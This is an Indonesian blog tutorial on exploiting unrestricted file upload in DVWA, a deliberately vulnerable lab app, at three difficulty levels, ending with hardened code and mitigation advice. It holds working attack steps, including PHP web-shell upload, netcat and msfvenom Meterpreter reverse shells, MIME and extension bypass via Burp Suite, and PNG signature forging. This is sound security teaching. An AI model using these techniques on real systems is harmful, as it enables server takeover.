DVWA Series: Unrestricted File Upload

⏱️8 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu Vulnerability File Upload

FFile Upload** merupakan fitur dimana user bisa menggunggah sesuatu ke dalam server. Jika tidak diamankan, fitur ini bisa menjadi sangat berbahaya. Seseorang yang tidak bertanggung jawab, bisa saja menggunggah sesuatu yang bisa mengambil alih atau merusak server tersebut. Celah keamanan ini biasanya disebut Unrestricted File Upload.

Security Level: Low


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

Information Gathering

Terdapat form untuk melakukan upload file. Disana tertulis “Choose an image to upload” dimana kita seharusnya mengupload file gambar. Namun ketika saya coba meng-upload file dengan ekstensi .php, maka file tersebut akan terkirim dan bisa diakses. 1

Terlihat bahwa tidak ada validasi untuk .php di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.

Launch Attack

Kita dapat menggunakan shell yang sama pada percobaan sebelumnya (Vulnerability file Inclusion) untuk melakukan serangan. Setelah file berhasil terupload kita dapat mengakses shell tersebut melalui path yang telah diberikan pada pesan sukses yaitu

http://192.168.1.6/hackable/uploads/knock.php

Dari situ kita dapat melakukan perintah yang berbahaya. 2

Dengan payload tersebut kita juga bisa melakukan reverse shell untuk meremote server. Pertama kita sebagai penyerang harus membuat listener bagi shell tersebut menggunakan netcat

netcat -l -p 8888

Langkah kedua, pada shel kita seting IP dan port milik kita 8

Jika berhasil pada terminal akan tampil sebagai berikut 9

Menggunakan Metasploit

Kemudian ada cara lain yaitu dengan memanfaatkan tools dari metasploit. Pertama kita perlu membuat file payload yang akan kita gunakan untuk melakukan serangan menggunakan tool msfvenom. Berikut perintahnya:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.7 lport=8888

Keterangan: php/meterpreter/reverse_tcp adalah adalah payload yang akan saya gunakan.

lhost atau listening host adalah IP kita sebagai penyerang

lport atau listening port adalah port yang akan kita gunakan untu listening

Setelah perintah tersebut kita eksekusi, akan muncul script PHP sebagai berikut: 3

Selanjutnya, adalah membuat file (contohnya payload.php) dan memasukan script tersebut dengan menghilangkan komentar di awal (tanda /*). 4

Kemudian upload file tersebut 5

Langkah selanjutnya adalah menyiapkan PC peretas untuk menjadi listener bagi shell yang telah dibuat dengan menggunakan metasploit. 6

Kemudian akses file payload yang sudah kita upload sehingga session meterpreter dapat terbuka seperti gambar dibawah ini 7

Dan jika berhasil kita bisa me-remote server tersebut

Security Level: Medium


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

Information Gathering

Jika kita melakukan hal yang sama seperti sebelumnya (meng-upload file ekstensi .php), maka akan muncul pesan error seperti berikut: 10

Ini karena terdapat validasi, hanya ekstensi JPEG dan PNG saja yang diizinkan.

Launch Attack

Kita masih bisa melakukan serangan dengan melakukan baypass menggunakan Burpsuite.

Pertama, rename file payload kita yang awalnya payload.php menjadi payload.php.jpeg

Kedua, kita lakukan intercept request menggunakan burpsuite dan ubah filename menjadi payload.php 11

Menjadi

12

maka file akan berhasil terupload dan menampilkan pesan berhasil 13

Untuk melakukan reverse shell dapat menggunakan cara yang sama pada level LOW

Security Level: High


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

Information Gathering

Kali ini terdapat tambahan fungsi getimagesize() pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.

Lunch Attack

Kita bisa lakukan serangan dengan mengganti file signature dari payload tersebut List of file signatures - Wikipedia

Karena hanya dengan mengubah ekstensi saja tidak akan mengubah jenis file tersebut 14

Kita ubah signature file tersebut menggunakan hexeditor. Kita ubah hexa dari awalan file tersebut menjadi png 15 Sebelum kita ubah signaturenya. kKita perlu beri 8 kali spasi pada baris pertama 16

Ubah 8 hexa pertama menjadi 89 50 4E 47 0D 0A 1A 0A 17

menjadi 18

kemudian ganti ekstensi menjadi knock.php.png

Setelah itu kita upload.

Sehingga file dapat terupload 19

Kemidian kita dapat mengakses file tersebut menggunakan celah LFI yang sebelumnya sempat kita bahas. Jangan lupa siapkan listener Netcat.

file:///var/www/html/hackable/uploads/namafile.php.png

Maka akan menampilkan sebagai berikut: 20

Untuk melakukan reverse shell caranya sama seperti pada level sebelumnya menggunakan netcat

Menghindari Unrestricted File Upload

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Selain dengan menggunakan pembatasan ekstensi tertentu. Periksa ekstensi ganda seperti namafile.php.png

Ubah izin pada folder upload sehingga file di dalamnya tidak dapat dieksekusi,

Dan jika memungkinkan, ganti nama file yang diunggah (biasanya random).

Selain itu jika form upload berupa gambar, maka lakukan re-encode pada file yang di-upload oleh client/user